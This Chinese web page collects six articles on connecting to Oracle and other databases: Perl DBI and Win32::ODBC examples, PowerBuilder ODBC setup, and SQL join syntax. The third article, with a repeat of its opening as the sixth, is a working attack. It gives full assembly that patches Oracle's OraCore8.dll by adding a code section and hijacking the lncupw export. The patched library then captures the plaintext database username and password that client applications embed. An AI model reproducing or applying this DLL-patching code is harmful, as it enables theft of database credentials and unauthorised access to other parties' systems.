欢迎来到千学网!
您现在的位置:首页 > 实用文 > 其他范文

Perl连接Oracle数据库

时间:2022-11-19 09:41:25 其他范文 收藏本文 下载本文

以下是小编收集整理的Perl连接Oracle数据库,本文共9篇,仅供参考,希望对大家有所帮助。

Perl连接Oracle数据库

篇1:Perl连接Oracle数据库

上次讲了在linux下安装Oracle,安装完之后可以用netac来配置远程数据库的本地命名,

要在perl下面连接oracle数据库,首先必须安装DBI和DBD for Oracle。

下面是一段perl程序

#!/usr/bin/perl

use DBI;

$dbname=“oralce”;

$user=“user”;

$passwd=“password”;

$dbh=“”;

$dbh = DBI->connect(“dbi:Oracle:$dbname”,$user,$passwd) or die “can't connect to

database ”. DBI-errstr;

//连接数据库

$sth=$dbh->prepare(“select * from tDevice”);

$sth->execute;

//执行sql语句

while (@recs=$sth->fetchrow_array) {

print $recs[0].“:”.$recs[1].“:”.$recs[2].“\n”;

//读取记录数据

}

$dbh->disconnect;

//断开连接

篇2:PB如何连接Oracle数据库

如果你已经是个powerbuilder高手,那么下面的东西对你来说毫无价值,你大可不必再看下去,如果你刚刚步入powerbuilder的殿堂,那么下面的东西对你来说可能有点价值,你应该看一看。

作为一个优秀的客户端开发工具,powerbuilder必然需要与大型的数据库相连接,尽管许多资料上都介绍了如何通过odbc或者powerbuilder自带的db profile或者专用接口连接上数据库,但仍然有许多使用者按此方法却无法连接上数据库,这方面的原因可能是powerbuilder本身的原因,比如在安装powerbuilder时的选项、odbc的版本之类;也可能是在安装客户端的oracle、sybase、informix、sql server等软件上的问题,下面就从最根本的odbc配置开始,教你一步步如何连接上数据库。 odbc数据源的配置

进入控制面板,打开odbc数据源(32位),如图1所示,点击“add”按钮,进入odbc数据源的配置面板,如图2所示:

选择“oracle odbc driver”一项,注意当前版本号为“8.00.0400”,如果你的操作系统中安装的是oracle7,则相应的版本号会不同。提醒一点:在windows98操作系统上是无法安装oracle8.0.4的(只能安装oracle7.2.3),oracle8.0.5则没有试过。因而会有一些使用者在windows98系统上无法正常配置odbc数据源,因为windows98本身自带的odbc数据源已经比oracle7数据源版本要高,无论你怎样配置odbc,系统总会提示你要安装一个更高版本的oracle,自然你就无法配置odbc了,有一个解决方法就是用pb7第二张光盘上的odbc安装程序覆盖系统中的odbc,或者把你的操作系统改为windows95/97算了。

然后进入“oracle8 odbc driver setup”设置,在“data source name”一项中随便输入一个名字,在“data source service name”一栏中输入oracle连接数据库的字符串名,这可以在你安装的oracle目录中的tnsnames.ora文件中查看到(oracle7安装路径为“orawin95\network\ admin”;oracle8安装路径为“orawin95\net80\admin”),或者你通过“sql net easy configuration”新添加一个数据库连接配置,将配置中的字符串填入即可,其他的就不必再填入,避免出现画蛇添足之错,反而连接不上数据库了。 db profile数据源的配置

进入pb,打开db profile,如图4所示,选择odbc一项,点击“new”,进入pb数据源的配置,如图5所示。当然如果你之前没有进行odbc的配置,你也可以在这里点击“config odbc”进入之前你看到的odbc配置界面。

在“profile name”中自定义一个名字,然后从“data source”的下拉菜单中选择你在odbc中已经配置好的数据源,输入登录数据库所需要的用户名与密码,当然你认为没有这个必要性的话可以不在这里输入(主要是不要轻易让人知道你数据库的口令,不然问题就大了),到这一步为止,pb已经做完了所有数据库连接的配置,剩下的就是连接上数据库了。 pb for oracle专用接口的配置

同样是进入pb,点击db profile选项(这是对oracle7版本而言,如果是oracle8,相应的选项就是oracle8.0.4),看到上面的“073 oracle 7.3”选项没有,点击一下,再按“new”进入图7的界面,“profile name”一栏随意填,“server”一栏填写时要注意,oracle7版本一定要在数据连接字符串前加上@,否则不能连接上pb数据库,oracle8版本则不必加上@,其他的设置就可以不用了。

以上三种pb连接数据库的方法其实十分简单,但是初学者却又会经常出错,在这里只是想作为一种抛砖引玉之用,希望广大初学者通过本文对pb数据源配置能够有一定的了解。下面再对oracle连接数据库的配置文件tnsnames.ora简单说明一下,“tnsnames.ora”文件其实是通过“sql net easy configuration”初始化配置后的参数文件,如果你不想通过“sql net easy configuration”进行配置,你只需要把你先前已有的“tnsnames.ora”文件放入oracle的admin目录中,覆盖现有的文件就可以了,当然你也可以再自己添加数据库连接字符串。通常,一个“tnsnames.ora”文件内容如下: ······kf.world = (description = (address_list =(address =(community = tcp.world) (protocol = tcp) (host = 136.12.145.5) (port = 1521) ) (address =(community = tcp.world) (protocol = tcp) (host = 136.12.145.5) (port = 1526) ) ) (connect_data = (sid = sid3) ) )······

其中最要的是第一项和最后一项(这里是以tcp/ip网络连接,大多数用户都是以此连接),host一栏是主机地址,“connect_data = (sid = sid3)”中的sid3是连接主机数据库的字符串,你要修改这几项就可以了。另外谈谈如何让英文版的oracle7显示中文,其实很简单,只要将注册表“hkey_local_machine\ software\oracle\nls_lang”中的值改为如下值就可以了“ simplified chinese_china.zhs16cgb231280”。

篇3:如何截获Oracle数据库连接密码


概述

Oracle 系统是应用最广泛的服务器/客户端类型的数据库系统,其密码验证等安全措施也做得比较严格,但是通过本文所描述的方法,我们还是有机会从应用程序中截获数据库连接的用户名和密码,

原理

大部分的服务器/客户端系统的结构可以这样描述:

客户端 <---(1)--->系统TCP/IP模块 <---(2)--->网络 <---->系统的TCP/IP模块 <---->服务端

对于这些系统,一般的安全问题出在由(2)所示的地方,比如说当使用 POP3 协议收取邮件,或者用 Telnet 登录到远程主机的时候,其登录密码都是未经加密的,只要在网络上安装一个嗅探器 (Sniffer) 来监听数据包,就可以很容易地截获用户名和密码。

但对于 Oracle 系统来说,用户名和密码在网络上传递之前,是经过加密的,而且加密的算法是不可逆的,即使使用嗅探器探听到数据包,开始无法把数据库的连接密码恢复出来,Oracle 系统的结构可以如下描述:

客户端应用程序 <--(1)-->Oracle客户端软件 <---(2)--->系统TCP/IP模块 <---(3)--->网络 <-->系统的TCP/IP模块 <--->Oracle数据库

对于这一类系统,所有在(2)或者(3)处监听到的登录数据包都是已经经过加密的,但是,考虑一下我们编写 Oracle 数据库应用程序的时候,无论是通过 ODBC 还是 Pro C,或者其他的 BDE 环境等,都是将数据库连接的用户名和密码用明文的方式传递给 Oracle 客户端驱动程序的,所以在(1)位置的数据流肯定明文的,密码是在 Oracle 客户端软件中被加密后才经过(2)、(3)等步骤发送出去,如果在(1)的位置进行拦截,就可能拦截到密码。

考虑到步骤(1)发生在应用程序到 Oracle 系统的调用中,也就是发生在 API 调用的层次,所以只要找到密码加密模块的入口,在对相应的 API 进行 Hook,就能截获到密码了。

有人可能存在一个疑问:使用 Sniffer 可以监听到网络上其他计算机的连接数据包,而在 API 层次上进行拦截是针对本机的,但要是自己能够在本机上连接,就表示已经知道密码了,再去截获不是多此一举吗?

非也!

实际上大部分的 Oracle 应用程序都包括一个用户开发的客户端,这个客户端可能是用 C、PowerBuilder 和其他语言开发的,这些软件提供一个界面提示用户输入用户名和密码登录系统,但是这个用户名和密码并不是数据库的连接用户名和密码,而仅仅是一个类似于 users 表中的一条记录而已,而程序内部内置的数据库连接帐号才是我们的目标,一般来说,客户端应用程序是这样工作的:

1. 使用一个内置的数据库连接帐号连接到数据库。

2. 弹出一个对话框提示用户输入用户名 xxx 和密码 yyy

3. 使用类似于 select * from users where username='xxx' and password='yyy' 一类的 SQL 语句查询用户是否有权登录系统。

我们的目标就是步骤1中的连接帐号,这个帐号存在于客户端软件中,虽然可能已经被静态加密(也就是说用16进制软件去搜寻可执行文件时并不能被找到),但它运行后需要连接数据库的时候必然会被解密并用明文传递到 Oracle 客户端软件中。

方法

好了,现在来看看具体的实现方法。

1. 相关的调用

第一步当然要知道在哪里下手,经过了一番跟踪以后(这里省去跟踪的步骤 n 步,大家可以尝试自己跟踪一下),就可以发现用户名和密码是在 OraCore8.dll 模块中的 lncupw 函数中被加密的,而且这个函数的调用方法如下:

invoke lncupw,addr Output,1eh,addr szPassword,dwLenPass,addr szUserName,dwLenName,NULL,1

函数的入口参数包括明文的数据库连接用户名和密码,以及他们的长度,运行的结果是在第一个参数Output指定的缓冲区中返回加密后的数据,以后这个加密后的数据会被发送到服务器端进行认证。

2. 具体的实现方案

我们的方法就是在对 OraCore8.dll 进行补丁,在 dll 文件中附加一段代码,然后修改 dll 的导出表中 lncupw 函数对应的入口地址,将它指向到附加的代码中,然后由这段代码在堆栈中取出用户名和密码并显示出来,完成这个步骤后再跳转到原始的 lncupw 函数的入口地址去执行原有的功能。

这个方案涉及到两个技术问题,第一是对 dll 文件的修改问题,这个问题可以归结为在 PE 文件后添加可执行代码的方法问题,第二就是写被附加到 dll 文件后的程序体的问题。

对 dll 文件的修改代码的片断如下,在这以前,我们假定已经做了其他这样一些工作:

※ 文件名字符串放在 szFileName 指定的缓冲区中。

※ 已经对文件进行校验,找到了导出表中的 lncupw 项目,这个项目在文件中的 Offset 放在 dwOffsetPeHeand 中,lncupw 的原始入口RVA放在 dwProcEntry 变量中。

※ 找出了 dll 文件中的 PE 文件头位置,并拷贝 PE 文件头到 lpPeHead 指定的位置中。

invokeCreateFile,addr szFileName,GENERIC_READ or GENERIC_WRITE,FILE_SHARE_READ or \FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL.ifeax ==INVALID_HANDLE_VALUEinvokeMessageBox,hWinMain,addr szErrModify,NULL,MB_OK or MB_ICONERRORjmp_Ret.endifmov@hFile,eax;********************************************************************; esi -->原PeHead; edx -->最后一个节表,ebx -->新加的节表;********************************************************************movesi,lpPeHeadassumeesi:ptr IMAGE_NT_HEADERSmovzxeax,[esi].FileHeader.NumberOfSectionsdeceaxmovecx,sizeof IMAGE_SECTION_HEADERmulecxmovedx,esiaddedx,eaxaddedx,sizeof IMAGE_NT_HEADERSmovebx,edxaddebx,sizeof IMAGE_SECTION_HEADERassumeebx:ptr IMAGE_SECTION_HEADER,edx:ptr IMAGE_SECTION_HEADER;********************************************************************; 加入一个新的节,并修正一些PE头部的内容;********************************************************************inc[esi].FileHeader.NumberOfSectionsmoveax,[edx].PointerToRawDataaddeax,[edx].SizeOfRawDatamov[ebx].PointerToRawData,eaxinvoke_Align,offset APPEND_CODE_END-offset APPEND_CODE,[esi].OptionalHeader.FileAlignmentmov[ebx].SizeOfRawData,eaxinvoke_Align,offset APPEND_CODE_END-offset APPEND_CODE,[esi].OptionalHeader.SectionAlignmentadd[esi].OptionalHeader.SizeOfCode,eax;修正SizeOfCodeadd[esi].OptionalHeader.SizeOfImage,eax;修正SizeOfImageinvoke_Align,[edx].Misc.VirtualSize,[esi].OptionalHeader.SectionAlignmentaddeax,[edx].VirtualAddressmov[ebx].VirtualAddress,eaxmov[ebx].Misc.VirtualSize,offset APPEND_CODE_END-offset APPEND_CODEmov[ebx].Characteristics,IMAGE_SCN_CNT_CODE\or IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITEinvokelstrcpy,addr [ebx].Name1,addr szMySection;********************************************************************; 写文件;********************************************************************invokeSetFilePointer,@hFile,dwOffsetPeHead,NULL,FILE_BEGINinvokeWriteFile,@hFile,esi,[esi].OptionalHeader.SizeOfHeaders,\addr @dwTemp,NULLinvokeSetFilePointer,@hFile,[ebx].PointerToRawData,NULL,FILE_BEGINinvokeWriteFile,@hFile,offset APPEND_CODE,[ebx].Misc.VirtualSize,\addr @dwTemp,NULLmoveax,[ebx].PointerToRawDataaddeax,[ebx].SizeOfRawDatainvokeSetFilePointer,@hFile,eax,NULL,FILE_BEGINinvokeSetEndOfFile,@hFile;********************************************************************; 修正新加代码中的 Jmp oldEntry 指令;********************************************************************moveax,[ebx].VirtualAddressaddeax,(offset _dwOldEntry-offset APPEND_CODE+4)subdwProcEntry,eaxmovecx,[ebx].PointerToRawDataaddecx,(offset _dwOldEntry-offset APPEND_CODE)invokeSetFilePointer,@hFile,ecx,NULL,FILE_BEGINinvokeWriteFile,@hFile,addr dwProcEntry,4,addr @dwTemp,NULL;********************************************************************; 修正入口指针;********************************************************************moveax,[ebx].VirtualAddressaddeax,(offset _NewEntry-offset APPEND_CODE)movdwProcEntry,eaxinvokeSetFilePointer,@hFile,dwOffsetProc,NULL,FILE_BEGINinvokeWriteFile,@hFile,addr dwProcEntry,4,addr @dwTemp,NULL;********************************************************************; 关闭文件;********************************************************************invokeCloseHandle,@hFile_Ret:;修改完成

这段代码完成了3个步骤,首先是扫描PE文件头中的节表,并在最后添加一个新的节,以便把附加的代码写到这个节中,这个节的属性被设置为可执行、可读、可写,因为代码运行需要的数据区也放在这里。然后程序修改附加代码最后的 jmp 指令,将它指到原始的 lncupw 函数中。最后程序在 dll 的导出表中将 lncupw 函数的入口地址指向附加代码中。

下面是被附加到 dll 后的代码,这段代码被写成可以自我定位的格式,代码首先在内存中找出 Kernel32.dll 的位置并从中找出 LoadLibrary 函数和 GetProcAddress 函数的地址,然后调用这两个函数获取其他一系列要用到的函数的入口地址:

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>; 要被添加到 OraCore8.dll 文件后面的执行代码;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>;;;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>; 一些函数的原形定义;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>_ProtoGetProcAddresstypedefproto:dword,:dword_ProtoLoadLibrarytypedefproto:dword_ProtoMessageBoxtypedefproto:dword,:dword,:dword,:dword_Protowsprintftypedefproto c:dword,:VARARG_ApiGetProcAddresstypedefptr_ProtoGetProcAddress_ApiLoadLibrarytypedefptr_ProtoLoadLibrary_ApiMessageBoxtypedefptr_ProtoMessageBox_Apiwsprintftypedefptr_Protowsprintf;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>;;APPEND_CODEequthis byte;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>; 被添加到目标文件中的代码从这里开始;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>hDllKernel32dd?hDllUser32dd?_GetProcAddress_ApiGetProcAddress?_LoadLibrary_ApiLoadLibrary?_MessageBox_ApiMessageBox?_wsprintf_Apiwsprintf?szLoadLibrarydb'LoadLibraryA',0szGetProcAddress db'GetProcAddress',0szUser32db'user32',0szMessageBoxdb'MessageBoxA',0szwsprintfdb'wsprintfA',0szCaptiondb'Oracle 8i 密码截取补丁',0szFormatPwddb'截获 Oracle 连接:',0dh,0ah,0dh,0ahdb'用户名:%s',0dh,0ahdb'密  码:%s',0szTmpBufferdb512 dup (?)szUserNamedb64 dup (?)szPassWorddb64 dup (?);>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>; 错误 Handler;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>_SEHHandlerproc_lpExceptionRecord,_lpSEH,_lpContext,_lpDispatcherContextpushadmovesi,_lpExceptionRecordmovedi,_lpContextassumeesi:ptr EXCEPTION_RECORD,edi:ptr CONTEXTmoveax,_lpSEHpush[eax + 0ch]pop[edi].regEbppush[eax + 8]pop[edi].regEippusheaxpop[edi].regEspassumeesi:nothing,edi:nothingpopadmoveax,ExceptionContinueExecutionret_SEHHandlerendp;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>; 在内存中扫描 Kernel32.dll 的基址;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>szKernel32db'KERNEL32'_GetKernelBaseproc_dwKernelRetlocal@dwReturnpushadmov@dwReturn,0;********************************************************************; 重定位;********************************************************************call@F@@:popebxsubebx,offset @B;********************************************************************; 创建用于错误处理的 SEH 结构;********************************************************************assumefs:nothingpushebpleaeax,[ebx + offset _PageError]pusheaxleaeax,[ebx + offset _SEHHandler]pusheaxpushfs:[0]movfs:[0],esp;********************************************************************; 查找 Kernel32.dll 的基地址;********************************************************************movedi,_dwKernelRetandedi,0ffff0000h.whileTRUE.ifword ptr [edi] == IMAGE_DOS_SIGNATUREmovesi,ediaddesi,[esi+003ch].if word ptr [esi] == IMAGE_NT_SIGNATUREassumeesi:ptr IMAGE_NT_HEADERSmovesi,[esi].OptionalHeader.DataDirectory.VirtualAddressaddesi,ediassumeesi:ptr IMAGE_EXPORT_DIRECTORYmovesi,[esi].nNameaddesi,edimovecx,sizeof szKernel32pushedileaedi,[ebx+szKernel32]cldrepzcmpsbpopedi.ifZERO?mov@dwReturn,edi.break.endifassumeesi:nothing.endif.endif_PageError:subedi,010000h.break.if edi < 70000000h.endwpopfs:[0]addesp,0chpopadmoveax,@dwReturnret_GetKernelBaseendp;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>; 从内存中模块的导出表中获取某个 API 的入口地址;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>_GetApiproc_hModule,_lpszApilocal@dwReturn,@dwStringLengthpushadmov@dwReturn,0;********************************************************************; 重定位;********************************************************************call@F@@:popebxsubebx,offset @B;********************************************************************; 创建用于错误处理的 SEH 结构;********************************************************************assumefs:nothingpushebpleaeax,[ebx + offset _Error]pusheaxleaeax,[ebx + offset _SEHHandler]pusheaxpushfs:[0]movfs:[0],esp;********************************************************************; 计算 API 字符串的长度(带尾部的0);********************************************************************movedi,_lpszApimovecx,-1xoral,alcldrepnzscasbmovecx,edisubecx,_lpszApimov@dwStringLength,ecx;********************************************************************; 从 PE 文件头的数据目录获取导出表地址;********************************************************************movesi,_hModuleaddesi,[esi + 3ch]assumeesi:ptr IMAGE_NT_HEADERSmovesi,[esi].OptionalHeader.DataDirectory.VirtualAddressaddesi,_hModuleassumeesi:ptr IMAGE_EXPORT_DIRECTORY;********************************************************************; 查找符合名称的导出函数名;********************************************************************movebx,[esi].AddressOfNamesaddebx,_hModulexoredx,edx.repeatpushesimovedi,[ebx]addedi,_hModulemovesi,_lpszApimovecx,@dwStringLengthrepzcmpsb.ifZERO?popesijmp@F.endifpopesiaddebx,4incedx.untiledx >=[esi].NumberOfNamesjmp_Error@@:;********************************************************************; API名称索引 -->序号索引 -->地址索引;********************************************************************subebx,[esi].AddressOfNamessubebx,_hModuleshrebx,1addebx,[esi].AddressOfNameOrdinalsaddebx,_hModulemovzxeax,word ptr [ebx]shleax,2addeax,[esi].AddressOfFunctionsaddeax,_hModule;********************************************************************; 从地址表得到导出函数地址;********************************************************************moveax,[eax]addeax,_hModulemov@dwReturn,eax_Error:popfs:[0]addesp,0chassumeesi:nothingpopadmoveax,@dwReturnret_GetApiendp;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>; 新的入口地址;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>_NewEntry:;********************************************************************; 重定位并获取一些 API 的入口地址;********************************************************************pushadcall@F@@:popebxsubebx,offset @B;********************************************************************.ifdword ptr [ebx+_MessageBox]jmp@F.endif;********************************************************************invoke_GetKernelBase,7b000000h;获取Kernel32.dll基址oreax,eaxjz_ToOldEntrymov[ebx+hDllKernel32],eax;获取GetProcAddress入口leaeax,[ebx+szGetProcAddress]invoke_GetApi,[ebx+hDllKernel32],eaxoreax,eaxjz_ToOldEntrymov[ebx+_GetProcAddress],eaxleaeax,[ebx+szLoadLibrary];获取LoadLibrary入口invoke[ebx+_GetProcAddress],[ebx+hDllKernel32],eaxoreax,eaxjz_ToOldEntrymov[ebx+_LoadLibrary],eaxleaeax,[ebx+szUser32];获取User32.dll基址invoke[ebx+_LoadLibrary],eaxoreax,eaxjz_ToOldEntrymov[ebx+hDllUser32],eaxleaeax,[ebx+szMessageBox];获取MessageBox入口invoke[ebx+_GetProcAddress],[ebx+hDllUser32],eaxmov[ebx+_MessageBox],eaxoreax,eaxjz_ToOldEntryleaeax,[ebx+szwsprintf];获取MessageBox入口invoke[ebx+_GetProcAddress],[ebx+hDllUser32],eaxmov[ebx+_wsprintf],eaxoreax,eaxjz_ToOldEntry;********************************************************************; 程序功能开始;********************************************************************; lncupw 的调用方式是:; invoke lncupw,addr Output,1eh,addr szPassword,dwLenPass,addr szUserName,dwLenName,NULL,1; 现在的堆栈内容是:;...;esp+14*4dwLenUserName;esp+13*4addr szUserName;esp+12*4dwLenPass;esp+11*4addr szPassword;esp+10*41eh;esp+9*4addr Output;esp+8*4call's return address;esp+到esp+8*4pusha 推入堆栈的8个寄存器值;; 所以,从 esp+13*4 和 esp+11*4 取出的就是 Oracle 应用程序; 传递进来的用来连接数据库的用户名和密码地址,

;********************************************************************@@:movesi,[esp+13*4];usernameleaedi,[ebx+szUserName]movecx,[esp+14*4]cmpecx,60jle@Fmovecx,60@@:cldrepmovsbxoreax,eaxstosbmovesi,[esp+11*4];passwordleaedi,[ebx+szPassWord]movecx,[esp+12*4]cmpecx,60jle@Fmovecx,60@@:repmovsbxoreax,eaxstosbleaeax,[ebx+szUserName]leaecx,[ebx+szPassWord]leaedx,[ebx+szFormatPwd]leaesi,[ebx+szTmpBuffer]invoke[ebx+_wsprintf],esi,edx,eax,ecxleaecx,[ebx+szTmpBuffer]leaeax,[ebx+szCaption]invoke[ebx+_MessageBox],NULL,ecx,eax,MB_OK or MB_ICONINFORMATION or MB_SERVICE_NOTIFICATION;********************************************************************; 执行原来的文件;********************************************************************_ToOldEntry:popaddb0e9h;0e9h是jmp xxxxxxxx的机器码_dwOldEntry:dd?;用来填入原来的 lncupw 函数的入口地址;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>APPEND_CODE_ENDequthis byte

对 OraCore8.dll 进行了这样的补丁以后,凡是有应用程序连接 Oracle 数据库,附加代码就可以截获到连接所用的用户名和密码并通过一个 MessageBox 显示出来了!

其他

1. Oracle 客户端的版本问题

OraCore8.dll 仅存在于 Oracle 8.1.0 以上的版本中,Oracle 7.x 版本中并不存在这个 dll 文件,也没有其他 dll 包含 lncupw 函数,而 Oracle 8.0.x 版本中仅在服务器端存在 OraCore8.dll 文件。所以本程序仅仅适用于 Oracle 8.1.0 以上版本。

不过这又有什么关系呢!如果有需要跟踪的客户端软件,那么这个软件一般并不会要求特定的 Oracle 客户端的版本,只要在自己机器上安装一个 8.1.x 版本后再进行密码截获就是了,这就是软件分层结构带来的好处!

2. 已经编译好的补丁软件可以在作品发布中找到。

3. 可以参考的资料

由于时间关系,本文不可能把涉及的 PE 文件的相关结构一一具体说明,如果需要这方面的资料,可以参考我写的那本《Windows环境下32位汇编语言程序设计》(电子工业出版社出版)一书中的以下章节:

-->17.1 节:PE文件的结构

-->17.3 节:导出表

-->17.6.1 节:动态获取API入口地址

-->17.6.2 节:在PE文件上添加执行代码

慢着!慢着!不要扔砖头!我又不是为了给自己的书做广告#¥%!◎……×……那个谁谁谁,拜托你要扔也扔些玉嘛……

篇4:perl连接access数据库自动测试脚本语言

前题是必须安装好activeperl (505以上),以及MS Access 97 一. 安装Win32-ODBC模块 步骤1: 从TOOLS栏目中下载Win32-ODBC.zip,下载完后用winzip解开到一个temp目录,共有三个文件: Readme Win32-ODBC.ppd Win32-ODBC.tar.gz 步骤2: 在DOS窗口下,temp目录

前题是必须安装好activeperl (505以上),以及MS Aclearcase/“ target=”_blank“ >ccess 97

一. 安装Win32-ODBC模块

步骤1:

从TOOLS栏目中下载Win32-ODBC.zip,下载完后用winzip解开到一个temp目录,共有三个文件:

Readme

Win32-ODBC.ppd

Win32-ODBC.tar.gz

步骤2:

在DOS窗口下,temp目录中运行下面的DOS命令:

ppm install Win32-ODBC.ppd

二. 准备测试用数据库(ACCESS)

步骤1:

启动MS ACCESS,建立一个新空数据库,命名为odbctest.mdb,保存在某一目录中(记住路径),

步骤2:

然后新建一个表,建立三个字段:

字段名称 数据类型

Name 字符,长度50

Email 字符,长度50

Age 数字,长整型

将这个表保存为address(注意这个例子中,没有用自动增加的ID).输入若干记录:

Nighthawk nighthawk@163.net 20 1234567

John jt@163.net 24 0284393293

kit kit@21cn.com 18 3948932

保存后,关闭数据库文件。

步骤3:

打开控制面板中的 ODBC数据源(32位),在用户DSN栏中,找到用户数据源列表,选中名称为“MS Access 97 Database”的一行,然后按“配置”键。

在Database框中按”Select..“,选择步骤1.2中建立的数据库文件odbctest.mdb,按OK即可。ODBC设置中的其它项目全部采用缺省设置,然后就是OK,确定,关闭对话窗口。

三. 这时候,数据库已经可以用了,我们来测试一下:

#!/usr/bin/perl

use Win32::ODBC;

$DSN = ”MS Access 97 Database“;

$DBase = ”access.mdb“;

#连接数据库

if (!($db = new Win32::ODBC($DSN))){

print ”连接数据库失败.n“;

exit;

}

else{

print ”连接数据库成功 (连接号:“, $db->Connection(), ”)nn“;

}

#数据库中的表

print ”数据库中的表:“;

@tables = $db->TableList;

print @tables;

print ”n“;

#选择数据表

if (! $db->Sql(”SELECT * FROM [address] WHERE age>=20“) ){

@FieldNames = $db->FieldNames();

$Cols = $#FieldNames + 1;

#表中字段数

print ”表address字段数:$Colsn“;

#字段列表

for ($i = 0; $i < $Cols; $i++){

print ”$FieldNames[$i]t“;

}

print ”n“;

#列出年龄大于20的记录

while($db->FetchRow()) {

@values = $db->Data();

print @values;

print ”n“;

}

}

##### sql #########

#添加记录

$sqlinsert = ”INSERT INTO address VALUES ('Euler', 'euler@21cn.com', 28, '021-345689')“;

#更新记录

$sqlupdate = ”UPDATE address SET age = age+10 “;

#删除记录

$sqldelete = ”DELETE FROM address WHERE name='jimtyan'“;

$rc = $db->Sql($sqlinsert);

die qq(SQL 失败 ”$sqlinsert“: ), $db->Error(), qq(n) if $rc;

$rc = $db->Sql($sqlupdate);

die qq(SQL 失败 ”$sqlupdate“: ), $db->Error(), qq(n) if $rc;

$rc = $db->Sql($sqldelete);

die qq(SQL 失败 ”$sqldelete“: ), $db->Error(), qq(n) if $rc;

#关闭链接

$db->Close();

进一步学习请访问Win32-ODBC模块作者主页:www.roth.net/perl/odbc/ Nighthawk 版权所有, 署名

原文转自:www.ltesting.net

篇5:有关Oracle 数据库连接查询SQL语句

内连接(inner join)。

外连接:

全连接(full join)、左连接(left join)、右连接(right join)。

交叉联接(cross join)。

外连接与内连接不一样,外连接返回的查询结果中不仅包含符合条件的行,还包括左表(左外连接),右表(右外连接)或者两个连接表(全外连接)中的所有不符合条件的数据行。

1.左连接 (left [outer] join)

左外连接就是将左表的所有数据分别于右表的每条数据进行连接组合,返回的结果除内连接的数据外,还有左表中不符合条件的数据,并在右表的相应列中填上null值。

SQL语句如下:

select * from mt_pb_org o left join mt_pb_orgframe f on o.PB_ORGFRAMEID = f.PB_ORGFRAMEID;

等价语句:

select * from mt_pb_org o,mt_pb_orgframe f where o.pb_orgframeid = f.pb_orgframeid(+);

2.右连接 (right [outer] join)

右外连接就是将右表中的所有数据分别与左表的每条数据进行连接组合,返回的结果除了内连接的数据外,还有右表中不符合条件的数据,并在左表相应的列中填上null值。

SQL语句如下:

select * from mt_pb_org o right join mt_pb_orgframe on o.pb_orgframeid = f.pb_orgframeid;

等价语句:

select * from mt_pb_org o,mt_pb_orgframe f where o.pb_orgframeid(+) = f.pb_orgframeid;

3.全外连接 (full [outer] join)

全外连接就是将左表的所有数据分别与右表的每条数据进行连接组合,返回的结果除了内连接的数据外,还有两个表中不符合条件的数据,并在左表或者右表的相应列中填上null值。

SQL语句如下:

select * from mt_pb_org o full join mt_pb_orgframe o.pb_orgframeid = f.pb_orgframeid;

4.交叉连接(cross join)

交叉连接不带WHERE 子句,它返回被连接的两个表所有数据行的笛卡尔积,返回到结果集合中的数据行数等于第一个表中符合查询条件的数据行数乘以第二个表中符合查询条件的数据行数。

SQL语句如下:

select * from mt_pb_org o cross join mt_pb_orgframe f;

篇6:教你如何截获Oracle数据库连接密码数据库

大部分的 服务器 /客户端系统的结构可以这样描述: 客户端 ---(1)--- 系统TCP/IP模块 ---(2)--- 网络 ---- 系统的TCP/IP模块 ---- 服务端 对于这些系统,一般的 安全 问题出在由(2)所示的地方,比如说当使用 POP3 协议收取邮件,或者用 Telnet 登录到远程主

大部分的服务器/客户端系统的结构可以这样描述:

客户端 <---(1)--->系统TCP/IP模块 <---(2)--->网络 <---->系统的TCP/IP模块 <---->服务端

对于这些系统,一般的安全问题出在由(2)所示的地方,比如说当使用 POP3 协议收取邮件,或者用 Telnet 登录到远程主机的时候,其登录密码都是未经加密的,只要在网络上安装一个嗅探器 (Sniffer) 来监听数据包,就可以很容易地截获用户名和密码,

但对于 Oracle 系统来说,用户名和密码在网络上传递之前,是经过加密的,而且加密的算法是不可逆的,即使使用嗅探器探听到数据包,开始无法把数据库的连接密码恢复出来,Oracle 系统的结构可以如下描述:

客户端应用程序 <--(1)-->Oracle客户端软件 <---(2)--->系统TCP/IP模块 <---(3)--->网络 <-->系统的TCP/IP模块 <--->Oracle数据库

